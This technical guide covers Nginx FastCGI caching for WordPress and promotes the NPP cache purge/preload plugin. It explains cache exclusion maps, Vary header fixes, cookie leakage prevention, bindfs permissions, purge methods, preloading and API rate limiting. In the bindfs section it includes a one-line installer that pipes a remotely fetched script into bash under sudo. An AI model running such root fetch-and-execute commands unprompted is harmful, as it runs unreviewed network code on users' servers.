#nginx #wordpress #fastcgi-cache #devops #performance #security
WordPress Nginx Cache: The Complete Purge, Preload & Permission Guide

You set up Nginx FastCGI caching on your WordPress server. You installed a cache purge plugin. Post gets updated, cache gets wiped, everyone's happy — except the first visitor after every update is still hitting a cold PHP+MySQL round trip. This guide covers every layer of the problem: map-based cache exclusion architecture, cookie leakage prevention, the Vary header trap, the two-user permission problem, preloading strategy, REST API rate limiting, and full WP-CLI integration. Tested and aligned with NPP v2.1.7.

Why Nginx Server-Side Cache Is a Different Beast

Most WordPress caching plugins operate at the PHP layer. They intercept the request somewhere inside WordPress, check if a cached HTML file exists on disk, and serve it. Fast enough, but PHP still wakes up for every single hit to do that check.

Nginx fastcgi_cache sits in front of PHP entirely. A cached response never reaches WordPress, never spins up a PHP-FPM worker, never touches the database. Nginx reads the cache file off disk (or from shared memory) and ships it directly. The difference in resource usage under load is not marginal — it's categorical.

AspectWordPress Page Caching PluginNginx FastCGI Cache
Cache resolution layerPHP — a worker must boot to serve the cacheNginx — PHP never runs on a cache hit
Memory footprint per hit~20–30 MB PHP-FPM workerNear zero — kernel page cache
Concurrent capacityLimited by PHP-FPM pool sizeLimited only by Nginx worker + OS I/O
Cache invalidationPlugin-driven, inside PHP request lifecycleFilesystem or ngx_cache_purge module — no PHP needed
Redundancy riskHigh — two caches fighting for the same pageNone when page caching is disabled in other plugins
Coexistence note: You can still run similar plugins alongside Nginx FastCGI cache — just disable their page caching feature. Use them for CSS/JS minification, lazy loading, database optimization, CDN integration. Let Nginx own the page cache layer entirely.

A Minimal Working fastcgi_cache Configuration

Before anything else works — purging, preloading, cache headers — the Nginx configuration has to be set up correctly. Here's the smallest config that does the job properly, with the directives that matter most explained inline.

## ─── http {} block ────────────────────────────────────────────────────
fastcgi_cache_path /dev/shm/nginx-cache
    levels=1:2
    keys_zone=MYSITE:100m
    inactive=60m
    max_size=1g;

fastcgi_cache_key "$scheme$request_method$host$request_uri";

## ─── server {} block ───────────────────────────────────────────────────
set $skip_cache 0;

# See the Map-Based Architecture section for the production approach.
# Simple per-method rules are safe here — maps handle path/cookie/query logic.
if ($request_method = POST)        { set $skip_cache 1; }
if ($request_method = DELETE)      { set $skip_cache 1; }
if ($request_method = PUT)         { set $skip_cache 1; }
if ($request_method = PATCH)       { set $skip_cache 1; }

## ─── location ~ \.php$ {} block ──────────────────────────────────────
fastcgi_cache              MYSITE;
fastcgi_cache_valid         200 301 302 60m;
fastcgi_cache_bypass        $skip_cache;
fastcgi_no_cache            $skip_cache;
fastcgi_cache_use_stale     error timeout updating invalid_header http_500 http_503;
fastcgi_cache_lock          on;
fastcgi_cache_background_update on;  # Serve stale while updating in background

# Strip Accept-Encoding before PHP sees it — prevents Vary header trap
fastcgi_param  HTTP_ACCEPT_ENCODING  "";

# Ignore Vary from upstream — prevents variant hash splits
fastcgi_ignore_headers Vary;

# Expose cache status in response headers (useful for debugging)
add_header NPP-FastCGI-Cache $upstream_cache_status always;
fastcgi_cache_background_update on: When a cached entry expires (reaches fastcgi_cache_valid TTL), instead of making the next visitor wait for a full PHP regeneration, Nginx serves the stale cached response immediately while it simultaneously fetches a fresh version from PHP in the background. Combined with fastcgi_cache_use_stale updating, this eliminates the "one unlucky visitor" penalty on routine TTL expiry — not just on manual purges. Both directives must be present for background update to activate.
Cache path choice: /dev/shm/ is a RAM-backed tmpfs — fast, but lost on reboot. For production, /var/cache/nginx on a fast SSD is the more common choice. The plugin supports /dev/shm/, /tmp/, /var/, and /cache/ as valid root paths. Always use a subdirectory, not the root itself.

Production-Ready Cache Exclusion: The Map-Based Architecture

The minimal config above uses if blocks for skip-cache logic. For small setups this works, but the Nginx documentation describes if blocks as a source of subtle bugs in complex location contexts. More importantly, if blocks re-evaluate on every request — map directives are computed once when Nginx processes the request variables and cached for the full request lifecycle, making them significantly more efficient at scale and much easier to audit.

The production NPP Nginx configuration replaces the single if ($query_string != "") rule with five purpose-built map blocks, each handling a distinct dimension of the cache decision. Two modules must be loaded for the full feature set:

## ─── top of nginx.conf, before http {} block ──────────────────────────
load_module modules/ngx_http_cache_purge_module.so;
load_module modules/ngx_http_headers_more_filter_module.so;
Module availability: ngx_http_cache_purge_module enables HTTP-based cache purging (Fast-Path 1 in the 3-Layer Purge section). ngx_http_headers_more_filter_module enables the more_clear_headers directive used in the Cookie Leakage section. Both are included in nginx-extras on Debian/Ubuntu and available on most managed hosting control panels.

The Five Maps (http {} block)

######## CACHE SKIP MAPS — all defined in http {} context ########

# MAP 1: Path-based exclusions
# Source variable: $uri (decoded path only, no query string).

map $uri $skip_cache_path {
    default 0;

    # WordPress core directories
    ~*/wp-(admin|content|includes|json)(?:/|$) 1;

    # WordPress root PHP files
    ~*/wp-[^/]*\.php 1;

    # XML-RPC endpoint
    ~/xmlrpc\.php 1;

    # WooCommerce transactional & account paths
    ~*/(cart|checkout|order-received|order-pay|wc-ajax|wc-auth|my-account|wc-api|addons)(?:/|$) 1;
    ~/wc/store(?:/|$) 1;

    # Authentication & registration paths
    ~*/(login|logout|register|lost-password|password-reset|activate)(?:/|$) 1;

    # Static system files
    ~/robots\.txt 1;

    # WordPress core sitemap and sitemap index
    ~/sitemap(_index)?\.xml 1;

    # Plugin-generated sitemaps (e.g. /news-sitemap.xml)
    ~*/[a-z0-9_-]+-sitemap([0-9]+)?\.xml 1;

    # WordPress built-in sitemap (e.g. /wp-sitemap.xml)
    ~/wp-sitemap[^/]*\.xml 1;

    # oEmbed, CGI, and ACME challenge
    ~/embed/ 1;
    ~/cgi-bin/ 1;
    ~*\.well-known/ 1;
}

# MAP 2: Query-string exclusions — dynamic actions only.
# Pattern structure: (^|&)<param-name>= matches whole param names,
# not substrings inside values. Benign params (paged, color, etc.) are
# intentionally NOT listed — they're safe to cache and preload.

map $query_string $skip_cache_query {
    default 0;
    ""      0;    # No query string → never skip from this map

    # WooCommerce cart & order actions
    ~*(?:^|&)(?:add-to-cart|added-to-cart|order_again|remove_item|undo_item|apply_coupon|remove_coupon|update_cart|empty_cart|download_file|pay_for_order|change_payment_method|wc-api|wc-ajax|add_to_wishlist|remove_from_wishlist|wc-authorize-wccom|productcheckout|cancel_order)= 1;

    # Faceted navigation / product-attribute filtering (dynamic prefixes)
    # Matches: attribute_pa_color=, filter_size=, query_type_color=, etc.
    ~*(?:^|&)(?:attribute_pa_|filter_|query_type_)[^=&]*= 1;

    # Price, rating & sort parameters (alter result set — must not cache)
    ~*(?:^|&)(?:rating_filter|min_price|max_price|orderby)= 1;

    # WordPress nonces, preview mode & Customizer
    ~*(?:^|&)(?:_wpnonce|preview|preview_id|preview_nonce|customize_changeset|wp_customize)= 1;

    # Search queries & manual cache bypass flags
    ~*(?:^|&)(?:_skip_cache|s|nocache)= 1;

    # REST API via index.php?rest_route= (covers oEmbed too)
    ~*(?:^|&)rest_route= 1;

    # Secret tokens — password reset keys, order keys, verification hashes
    ~*(?:^|&)key= 1;

    # Comment reply anchor — no content difference, avoids duplicate cache entries
    ~*(?:^|&)replytocom= 1;
}

# MAP 3: Cookie-based exclusions.
# Skips cache for logged-in WordPress users and WoodMart cart state.
map $http_cookie $skip_cache_cookie {
    default 0;
    ~*(comment_author|wordpress_[a-f0-9]+|wp-postpass|wordpress_no_cache|wordpress_logged_in) 1;

    # WoodMart — active wishlist and compare list
    ~*woodmart_wishlist_count=[1-9] 1;
    ~*woodmart_compare_list=%5B%22 1;
}

# MAP 4: WooCommerce cart presence.
# Separate from MAP 3 for clarity — the woocommerce_items_in_cart cookie
# is set by WooCommerce JS and doesn't follow the wordpress_* pattern.
map $cookie_woocommerce_items_in_cart $skip_cache_cart {
    default 0;
    "1"     1;
}

# MAP 5: AJAX / XHR-based exclusions.
# Do not cache dynamically-requested responses.
map $http_x_requested_with $skip_cache_xhr {
    default        0;
    XMLHttpRequest 1;
}

Server Block — Consuming the Maps

With the five maps defined in the http {} context, the server {} block that consumes them is clean and readable. The only if blocks needed are for HTTP methods — a case that genuinely doesn't fit a map because it's a simple equality check on a built-in variable with no performance concern:

## ─── server {} block ──────────────────────────────────────────────────
set $skip_cache 0;

# Method-based skips — safe as if blocks (simple equality, no location context)
if ($request_method = POST)   { set $skip_cache 1; }
if ($request_method = DELETE) { set $skip_cache 1; }
if ($request_method = PUT)    { set $skip_cache 1; }
if ($request_method = PATCH)  { set $skip_cache 1; }

# Map-based skips — evaluated once, cached for request lifetime
if ($skip_cache_path)   { set $skip_cache 1; }
if ($skip_cache_query)  { set $skip_cache 1; }
if ($skip_cache_cookie) { set $skip_cache 1; }
if ($skip_cache_cart)   { set $skip_cache 1; }
if ($skip_cache_xhr)    { set $skip_cache 1; }
MapSource VariableWhat it gates
$skip_cache_path$uriWordPress admin, WooCommerce transactional paths, sitemaps, authentication pages, embeds
$skip_cache_query$query_stringOnly genuinely dynamic parameters: cart actions, nonces, search, price/sort filters. Benign params like ?paged=2 or UTM params are intentionally allowed.
$skip_cache_cookie$http_cookieLogged-in WordPress users, WoodMart wishlist/compare state
$skip_cache_cart$cookie_woocommerce_items_in_cartVisitors with active WooCommerce carts
$skip_cache_xhr$http_x_requested_withAJAX / XMLHttpRequest calls — always dynamic
NPP alignment: The exclude-endpoints denylist in NPP's Preload Options uses the same named-parameter logic as $skip_cache_query. After upgrading to v2.1.7, use the "Reset Default" button on Exclude Endpoints in Settings → Preload Options to activate the matching surgical defaults. Your Nginx skip-cache logic and your NPP preload denylist must mirror each other — pages Nginx won't cache should also be excluded from NPP's preload scope.

The skip_cache Query String Rule That Defeats Cache Preloading

Nearly every WordPress + Nginx caching tutorial on the internet includes this rule in the skip_cache logic:

# This rule appears in almost every Nginx WordPress cache guide
if ($query_string != "") {
    set $skip_cache 1;
}

The intent is reasonable — skip caching for URLs with query strings to avoid caching session tokens, cart state, search results. In practice, it's a blunt instrument that silently defeats cache preloading for large swaths of a real site. Any URL with a benign query string — paginated archives like ?paged=2, filtered product listings like ?color=blue, canonical URL variants, Google Analytics UTM parameters stripped by Nginx — all get permanently bypassed regardless of whether the content is actually dynamic.

NPP's preload engine was completely overhauled in v2.1.7 to address this: instead of blanket query-string exclusion during preloading, it now uses a surgical denylist that blocks only parameters that genuinely break caching. Sites upgrading from earlier versions will see a significant jump in preload coverage and cache HIT rates as URLs with benign query strings finally get warmed.

The catch: NPP's smarter preloading only helps if Nginx is actually willing to cache those URLs. If your Nginx config still has the blanket if ($query_string != "") rule, NPP will preload those URLs and they'll be immediately bypassed — preloaded but never served from cache. The preload engine and the skip_cache logic must mirror each other.

The production solution is the Map-Based Architecture shown in the previous section: a dedicated $skip_cache_query map that only blocks the parameters that genuinely carry dynamic state. After upgrading to v2.1.7, also use the "Reset Default" button for Exclude Endpoints in Settings → Preload Options to activate the new surgical defaults.

The Cold Cache Problem: Purging Without Preloading

Here's the workflow that almost every WordPress + Nginx setup is running right now:

  1. Editor publishes an updated post
  2. Cache purge plugin detects the update and deletes the relevant cache files
  3. Next visitor to that URL triggers a full PHP + MySQL round trip to regenerate the page
  4. Nginx stores the response — all subsequent visitors get the fast cached version

Step 3 is the problem. That first visitor is paying the full PHP penalty. On a quiet blog that's annoying. On a WooCommerce store updating stock after a flash sale, or a news site pushing a breaking story, it's every visitor hitting cold PHP simultaneously — the spike you were trying to avoid by caching in the first place.

The fix is cache preloading: after purging, immediately fetch each affected URL via HTTP so Nginx stores fresh content before any real visitor arrives. That's what NPP (Nginx Cache Purge Preload) exists to do — it closes the gap between purge and the next cache hit.

What NPP actually is: a WordPress plugin that manages the full Nginx Cache lifecycle — intelligent multi-layer purging, automated cache warming after every purge, Cloudflare APO sync, Redis Object Cache sync, and a security wrapper (safexec) around all the shell operations. Install it, point it at your cache path, and the cold-cache gap disappears.

Auto Purge Triggers: What WordPress Events Should Clear Cache

A well-configured auto purge should be surgical — clear the minimum set of pages that are actually stale after a given event, then preload them. Clear too little and visitors see outdated content. Clear the whole cache on every post save and you're preloading your entire site constantly, burning CPU you don't need to burn.

NPP's auto purge fires on the following WordPress events by default, each with its own scope of what gets cleared:

  • Post publish / update: the updated URL + homepage + category/tag archives that list the post
  • Post delete / trash: same scope, plus any pagination URLs that shift
  • Comment published / approved: the post page whose comment count changed
  • WooCommerce stock change: the product page (and parent page for variations)
  • Plugin / theme update: full cache purge — a JS or CSS change can break any cached page that includes the changed asset
  • Gutenberg autosave: guarded against by a dedup transient — autosaves don't trigger purge

Expanded Purge Scope in v2.1.7

NPP v2.1.7 significantly expanded the set of URL types that are automatically invalidated when content changes. These extensions activate automatically — no configuration required:

EventNewly Purged (v2.1.7+)
Post save / updateAuthor archives + date-based archives (year, month, day)
Post publish / updateMain site RSS feed (/feed/, /feed/atom/)
Comment activityPer-post comment feeds + paginated comment URLs
Taxonomy updatePer-taxonomy RSS feeds + all public registered taxonomies + WooCommerce product attribute archives

The WooCommerce Stock Update Problem

WooCommerce stock changes caused by customer orders go directly to the database via a dedicated inventory API — they bypass wp_update_post() entirely. This means transition_post_status, the hook that most cache plugins listen to, never fires when a product goes out of stock after a purchase.

NPP hooks into the WooCommerce stock events directly: woocommerce_product_set_stock, woocommerce_product_set_stock_status, and their variation equivalents. For variations, the purge resolves to the parent product's public URL. Order cancellations that restore stock also fire a purge.

Without this fix: a product page showing "In Stock" can stay cached for hours after it sold out — because no cache plugin listening only to transition_post_status ever sees the inventory change.

The Vary Header Trap: Why Your Cache Warm Doesn't Reach Real Visitors

This is the most consistently misunderstood issue in WordPress Nginx caching. The symptom: you have cache preloading running, the Status tab shows the cache is warm, but real visitors are still seeing cache misses. The cache file exists. Nginx just won't serve it to them.

The root cause is Vary: Accept-Encoding.

When PHP has zlib.output_compression = On, it adds Vary: Accept-Encoding to any response where the client sent Accept-Encoding: gzip. Nginx's cache engine sees this header, stores it in the cache file metadata, and then computes a secondary variant hash from the Accept-Encoding value in the request. That variant hash becomes the filename of a separate cache file — one file per encoding variant.

Here's what happens when a preloader (like NPP's wget) warms a URL, and then a real browser requests it:

  • NPP's preloader sends no Accept-Encoding header → PHP doesn't compress → no Vary stored → cache file with hash abc123
  • Real browser sends Accept-Encoding: gzip, deflate, br → different variant hash def456 → Nginx looks for a cache file that doesn't exist → MISS

If a real browser reaches the URL first (before NPP), the problem flips: a Vary-tagged gzip cache file is stored, NPP's uncompressed request mismatches it, Nginx fetches fresh content from PHP — which this time has no Vary because NPP sends no Accept-Encoding — and overwrites the original cache file. Now every subsequent browser request mismatches again. Perpetual cache churn on every NPP/browser alternation.

Separate cause, same symptom: Even if your PHP has zlib.output_compression = Off, a WordPress plugin or proxy layer emitting Vary: Accept-Encoding unconditionally triggers the same two-file split. NPP warms with hash A, every real visitor gets hash B, the warmed cache is permanently bypassed.

The Fix — Three Steps

Step 1 — Disable PHP-level compression so PHP never adds Vary: Accept-Encoding to any response:

; /etc/php/8.x/fpm/php.ini
zlib.output_compression = Off

Step 2 — Add both protective directives to your Nginx PHP block — one strips the header before PHP can act on it, the other prevents Nginx from ever storing a Vary from any upstream source:

location ~ \.php$ {
    fastcgi_cache_key "$scheme$request_method$host$request_uri";
    fastcgi_pass      unix:/var/run/php-fcgi-yoursite.sock;
    include           /etc/nginx/fastcgi_params;

    fastcgi_param  HTTP_ACCEPT_ENCODING  "";  # strip before PHP sees it
    fastcgi_ignore_headers Vary;              # prevent variant hash storage

    fastcgi_cache         MYSITE;
    fastcgi_cache_valid   30d;
    fastcgi_cache_bypass  $skip_cache;
    fastcgi_no_cache      $skip_cache;
    fastcgi_cache_use_stale error timeout updating invalid_header http_500 http_503;
    fastcgi_cache_lock    on;
    fastcgi_cache_background_update on;
}

Step 3 — Let Nginx handle all gzip compression from the single uncompressed cache entry:

# nginx.conf http {} block
gzip            on;
gzip_vary       on;
gzip_proxied    any;
gzip_comp_level 5;
gzip_types      text/plain text/css application/javascript
                application/json text/xml application/xml
                text/javascript;
Why fastcgi_ignore_headers Vary is safe here: The concern with suppressing Vary is normally that you'd serve gzip content to a client that can't decompress it. But with zlib.output_compression = Off, PHP never produces compressed output — there's only one content variant in the cache. Nginx compresses per-client on the fly using its own gzip module. One cache file, served correctly to every client regardless of what their Accept-Encoding says.

gzip_vary on still sends Vary: Accept-Encoding in outgoing responses — informing browsers and downstream CDNs that compression varies. It writes to the client-facing response bytes only; it never touches the cache variant hash mechanism.
ScenarioCache files per URLNPP warm hit for real visitors
zlib.output_compression = On, no fix1 (unstable — overwritten when encoding mismatches)MISS — warmed cache silently destroyed when browser hits first
Plugin emitting Vary: Accept-Encoding unconditionally, no fix2 (two independent files for the same URL)MISS — NPP warm never served to real visitors regardless of warm order
zlib.output_compression = Off + fastcgi_ignore_headers Vary1 ✅HIT — every time

Cookie Leakage: Preventing Set-Cookie Header Cache Poisoning

When PHP handles a cacheable request — say, a product page viewed by a non-logged-in visitor — it sometimes still sets cookies in the response. Session initialization cookies, analytics cookies, and certain plugin cookies are common culprits. When Nginx caches that response, the Set-Cookie headers get stored along with the HTML body. Every subsequent visitor served from cache receives those cookies — including session identifiers generated for someone else's request.

This is cookie leakage: one user's session cookie, served from cache, arriving in another user's browser. On WooCommerce sites using persistent cart sessions, this can mean a visitor receiving another visitor's cart state. Even if the session is empty, the leak breaks the downstream application's expectation that each client initializes its own session.

The fix requires the ngx_http_headers_more_filter_module and a conditional header removal in the PHP location block:

location ~ \.php$ {
    fastcgi_cache         MYSITE;
    fastcgi_cache_bypass  $skip_cache;
    fastcgi_no_cache      $skip_cache;

    # Strip Set-Cookie from responses that WILL be cached.
    # $skip_cache = 0 means this response is going into cache.
    # Cached responses must never carry session-specific cookie headers.
    if ($skip_cache = 0) {
        more_clear_headers "Set-Cookie*";
    }

    # ... rest of your fastcgi directives
}
Why the conditional matters: Applying more_clear_headers "Set-Cookie*" unconditionally would strip cookies from bypass responses too — logged-in users and WooCommerce checkout flows would lose their authentication cookies mid-request. The if ($skip_cache = 0) condition targets only the responses entering the cache, where Set-Cookie headers have no business being stored.
Module requirement: more_clear_headers is provided by ngx_http_headers_more_filter_module. On Debian/Ubuntu: apt install nginx-extras. On RHEL/Fedora: available in the EPEL repository or by compiling Nginx with the module. Verify with nginx -V 2>&1 | grep headers-more. The module must be loaded at the top of nginx.conf:

load_module modules/ngx_http_headers_more_filter_module.so;

Permission Architecture: When PHP-FPM Can't Touch the Cache

This is the original reason NPP exists. Every other problem in this guide has a pure configuration fix. This one requires understanding why two separate system users are involved and what that means for filesystem operations.

In a correctly hardened Nginx + PHP-FPM setup, you have two distinct Unix users:

  • WEBSERVER-USER (nginx on RHEL/Fedora, www-data on Debian/Ubuntu): runs the Nginx worker processes, creates cache files when handling FastCGI responses
  • PHP-FPM-USER (your site user, e.g. mysite): runs the PHP-FPM pool for your WordPress site

Nginx writes cache files as nginx:nginx with permissions like 600. When NPP (running as PHP-FPM-USER) tries to delete those files during a purge, the kernel says no. The cache sits there, stale, forever.

The bindfs Solution

The cleanest fix without changing cache file ownership or relaxing security is FUSE bindfs: create a virtual mount of the Nginx cache directory that presents it to PHP-FPM-USER with full read/write access, while the underlying filesystem stays exactly as Nginx left it.

# Install bindfs
apt install bindfs      # Debian/Ubuntu
dnf install fuse-bindfs # RHEL/Fedora

# Create the FUSE mount
# Original cache path (owned by nginx): /var/cache/nginx/mysite
# Mount point (accessible by PHP-FPM-USER: mysite): /dev/shm/fastcgi-cache-mysite

bindfs \
  --force-user=mysite \
  --force-group=mysite \
  --create-for-user=nginx \
  --create-for-group=nginx \
  --create-with-perms=u+rw \
  /var/cache/nginx/mysite \
  /dev/shm/fastcgi-cache-mysite

NPP's settings then point to the mount path (/dev/shm/fastcgi-cache-mysite), not the original. Nginx still writes to the real path as usual — bindfs mirrors writes bidirectionally, so cache files Nginx creates appear in the mount with PHP-FPM-USER ownership, and files NPP deletes from the mount are removed from the real path too.

One-liner automated setup: Rather than configuring bindfs manually for every site, the install.sh script detects all PHP-FPM users and their associated Nginx cache paths automatically, creates the bindfs mounts, and registers a npp-wordpress systemd service that restores every mount after reboot.
sudo bash -c "$(curl -Ss https://psaux-it.github.io/install.sh)"
For Docker-based stacks, use the dedicated Docker Compose environment instead — install.sh is for monolithic servers only.

open_basedir: The Silent Killer of Nginx Cache Plugins

open_basedir is a PHP security directive that restricts every filesystem access the PHP process makes to a defined set of paths. It's commonly enabled by hosting control panels (cPanel, Plesk, aaPanel, HestiaCP) to prevent one site's PHP from reading another's files.

The problem: it doesn't restrict quietly. When blocked, the error message NPP surfaces looks like this:

ERROR COMMAND: Preloading failed for https://example.com.
Please check Exclude Endpoints and Exclude File Extensions settings syntax.

That message is misleading — it means a required system command couldn't execute. The actual cause is open_basedir blocking access to wget, /proc, /etc/nginx/, or the system binary directories. NPP surfaces a GLOBAL WARNING OPEN_BASEDIR notice in the Status tab when it detects an active restriction. The fix is extending the path list in your PHP-FPM pool config:

# /etc/php/8.x/fpm/pool.d/yoursite.conf
php_admin_value[open_basedir] =
    /var/www/yoursite.com/ :
    /var/cache/nginx/ :
    /tmp/ :
    /proc/ :
    /dev/null :
    /etc/nginx/nginx.conf
Why /proc/? NPP reads /proc/self/mountinfo to detect whether the cache path is a FUSE (bindfs) mount. Without /proc/ in the allowlist, the mount detection fails and NPP falls back to slower scan paths.

The 3-Layer Purge Strategy

Cache purge sounds simple — delete the file. In practice there are at least four ways to locate a Nginx cache entry, each with different speed and availability tradeoffs. NPP tries them in order for single-URL purges, stopping at the first success.

Fast-Path 1 — HTTP Purge via ngx_cache_purge module

If the ngx_cache_purge Nginx module is compiled in and a purge location block is configured, NPP sends an HTTP request to the purge endpoint. The module removes the cache entry from shared memory and disk atomically. On HTTP 200, the filesystem is never touched.

This is the fastest method — an HTTP round-trip rather than a directory scan. It's available out of the box on stacks that include nginx-extras (Ubuntu), most managed hosting control panels, and servers where you compile Nginx with the module manually.

## Required Nginx config for HTTP Purge
## In http {} block:
fastcgi_cache_path /var/cache/nginx levels=1:2 keys_zone=MY_CACHE:10m inactive=60m;
fastcgi_cache_key "$scheme$request_method$host$request_uri";

## In server {} block — dedicated purge location (required):
location ~ /purge(/.*) {
    allow 127.0.0.1;
    # allow 172.16.0.0/12;  # Docker network — adjust to your subnet
    deny all;

    fastcgi_cache_purge MY_CACHE "$scheme$request_method$host$1";
}
Common mistake: Using fastcgi_cache_purge on inline inside the PHP location block instead of a dedicated purge location. That approach expects the PURGE HTTP method, but NPP sends GET to the dedicated endpoint. The inline directive will never match. Always use the dedicated location block as shown above.

Fast-Path 2 — URL Index Lookup

NPP maintains a persistent URL→filepath index stored in the WordPress database, built incrementally during Preload All and updated by write-back after every successful single-page purge. When a purge request comes in for a URL, NPP checks the index first. If the file path is there and still exists on disk, it deletes it directly — no directory scan, no HTTP request, sub-millisecond. The index correctly handles multiple cache variants (Vary entries, mobile cache entries) by storing an array of paths per URL.

The index grows over time. After one full preload run, most single-page purges on your site will hit Fast-Path 2 exclusively.

Fast-Path 3 — RG Purge (ripgrep scan)

If neither fast-path succeeds, NPP has two fallback modes depending on whether ripgrep is installed. With rg available, NPP runs a single parallel file search against the cache directory, matching the KEY: header line inside each cache file. ripgrep uses memory-mapped I/O, parallel traversal, and early exit — it finds the matching file in a 10,000-entry cache in under two seconds typically.

# Install ripgrep (minimum v14.0.0 required — NPP enforces this)
apt install ripgrep          # Debian / Ubuntu
dnf install ripgrep          # RHEL / Fedora
apk add ripgrep              # Alpine Linux

Then enable RG Purge in Settings → NPP Settings → Advanced. The toggle shows Unavailable if rg isn't detected or is below v14.0.0 — install or update it, then refresh the page.

Fallback — PHP Recursive Scan

If rg isn't available, NPP falls back to a PHP RecursiveDirectoryIterator loop. This works — it's just slow on large caches. On a cache with 8,000 files on a FUSE mount, this takes around 21 seconds. With rg + safexec bypassing the FUSE layer, the same scan takes around 5 seconds — a 76% reduction.

SetupMethod8,000-file FUSE cache scan
No ripgrep, no safexecPHP RecursiveDirectoryIterator over FUSE~21 seconds ⚠️
ripgrep onlyrg over FUSE mount~8 seconds
ripgrep + safexecrg via safexec against real source path~5 seconds ✅

Cache Preloading: How the Warming Engine Works

The preload engine is built around wget — not a PHP HTTP client, not cURL inside a PHP loop. There's a deliberate reason: a PHP-based crawler runs inside a PHP-FPM worker, bound by max_execution_time (usually 30–300 seconds), memory_limit, and blocking a worker slot for the entire crawl duration. A large site with 5,000 cached pages would exhaust the PHP execution budget before finishing.

wget runs as a completely independent OS process. It doesn't hold a PHP-FPM worker, it doesn't hit execution time limits, and it can be managed with a PID file — started, monitored, and killed cleanly from PHP without PHP being involved in the actual crawl.

# What NPP's preloader does, simplified
safexec wget \
    --recursive \
    --reject "*.jpg,*.css,*.js,*.png" \
    --limit-rate=500k \
    --wait=0.1 \
    --random-wait \
    --user-agent "NPP-Preloader/2.x" \
    https://www.psauxit.com/

The Preload Watchdog

Post-preload tasks — building the URL index, sending the completion email, kicking off the mobile preload pass — are scheduled through WP-Cron. WP-Cron fires when a visitor hits the site. On a fully cached site after a successful preload, Nginx serves every request directly and PHP never runs. WP-Cron never fires. Post-preload tasks sit in the queue indefinitely.

The Preload Watchdog solves this: a background process that watches the wget PID file and fires post-preload tasks the moment the preload process exits — regardless of whether any visitor arrived. Enable it under Settings → NPP Settings → Preload Watchdog. Especially useful on low-traffic sites and any site using Scheduled Preload.

Scheduled Preload

For sites where content doesn't change frequently, a time-based preload schedule makes more sense than auto-purge on every update. NPP's scheduler lets you set a custom WP-Cron interval and pick an exact time — run a full cache warm at 3:00 AM before business hours, for example, completely independent of editorial activity. Configure via Settings → Scheduled Cache or directly from the command line: wp npp schedule-set --freq=daily --time=03:00

Preload All MISS — Targeted Warming Without the Full Wipe

Standard Preload All is a two-phase operation: purge everything, then crawl everything. For a site with 4,000 cached pages where only a handful have expired, that's enormous waste — you're destroying 3,990 warm cache entries to update 10.

Preload All MISS is a smarter alternative introduced in v2.1.7. It skips the purge entirely and crawls only URLs that are currently absent from cache. No wipe, no full recrawl — just the MISSes.

Preload AllPreload All MISS
First stepFull cache purgeNo purge
ScopeEvery URLOnly currently uncached URLs
Server costHigh — I/O + full crawlLow — targeted crawl only
Best forCold cache, post-migration, full refreshCache already >50% warm, topping up gaps

Preload All MISS is available in the Advanced Tab (Cache Manager). It activates only when cache coverage exceeds 50% — a guard against accidentally using it on a cold cache where you actually need the full purge+preload cycle.

Under the hood: Preload All MISS cross-references the URL snapshot from the last Preload All against the live cache directory contents. URLs in the snapshot but absent from disk become the target list. This is why running at least one full Preload All first is a prerequisite — the snapshot must exist before MISS-only preloading can calculate what to target.

Preload Feeds — RSS and Atom as First-Class Citizens

RSS and Atom feeds are among the most consistently neglected parts of a cached WordPress site. They're high-frequency update targets — every new post invalidates the main feed, every new comment invalidates per-post feeds — but most cache purge plugins either skip them entirely or only handle the main feed inconsistently.

NPP v2.1.7 makes feeds a proper part of the preload pipeline: main site feed (/feed/, /feed/atom/), per-post comment feeds (preloaded alongside their parent post), and per-taxonomy RSS feeds (preloaded together with their archive pages). Toggle via Preload Feeds in Settings → Preload Options.

Nginx + Apache Reverse Proxy: REST API 404 Fix

Control panels like aaPanel, HestiaCP, and CyberPanel commonly put Nginx in front of Apache as a reverse proxy. NPP's REST API endpoints return rest_no_route 404 in these setups because of a two-layer authorization header problem: Nginx strips the Authorization header before it reaches Apache, and Apache's mod_rewrite doesn't expose it to PHP's $_SERVER automatically.

Fix 1 — Nginx: forward Authorization to Apache

location / {
    proxy_pass http://127.0.0.1:8288;  # your Apache backend port

    proxy_pass_header  Authorization;
    proxy_pass_header  X-Api-Key;
    proxy_set_header   Authorization   $http_authorization;
    proxy_set_header   X-Api-Key       $http_x_api_key;
}

Fix 2 — Apache: expose Authorization to PHP via RewriteRule

<Directory "/www/wwwroot/yourdomain.com">
    AllowOverride All
    Require all granted

    RewriteEngine On
    RewriteBase /
    RewriteRule ^ - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]   # ← the key line
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
</Directory>

The RewriteRule ^ - [E=HTTP_AUTHORIZATION:...] line sets an Apache environment variable from the incoming header. PHP picks up all HTTP_* environment variables automatically as $_SERVER keys. Without it, WordPress never sees the Bearer token and returns 404 for every NPP REST call.

Protecting the NPP REST API: Rate Limiting at the Nginx Layer

NPP exposes REST API endpoints for cache purge and preload operations — used by WP-CLI, the WordPress dashboard, and any external deployment hooks you configure. These endpoints are authenticated (Bearer token + X-Api-Key), but an unauthenticated flood of requests still consumes server resources for the authentication check itself. Rate limiting the NPP API at the Nginx layer adds a near-zero-cost first gate before the request reaches PHP.

The key design detail: apply rate limiting only to NPP endpoints, not to all WordPress traffic. The production approach uses a map to set a non-empty key only for NPP API requests — Nginx only applies the limit to non-empty keys, so all other traffic is untouched:

## ─── http {} block ────────────────────────────────────────────────────
# Map sets a non-empty key only for NPP API requests.
# All other traffic uses an empty string — no rate limit applied.
map $request_uri $nppp_limit_key {
    ~^/wp-json/nppp_nginx_cache/  $binary_remote_addr;
    default                        "";
}
limit_req_zone $nppp_limit_key zone=nppp_api:10m rate=10r/m;

## ─── PHP location block ───────────────────────────────────────────────
location ~ \.php$ {
    # ... your existing fastcgi directives ...

    limit_req           zone=nppp_api burst=5 nodelay;  # burst=5 allows short bursts without queuing
    limit_req_status    429;                             # return 429, not the default 503
    limit_req_log_level warn;                            # log at warn, not error
}
ParameterValueEffect
rate=10r/m10 requests/minutePlenty for legitimate operations (dashboard, CLI, deploy hooks); blocks floods
burst=55 extra requestsAllows a rapid purge+preload sequence without hitting the limit
nodelayBurst requests are served immediately, not queued — avoids preload timeouts
limit_req_status 429HTTP 429Semantically correct "Too Many Requests" instead of 503
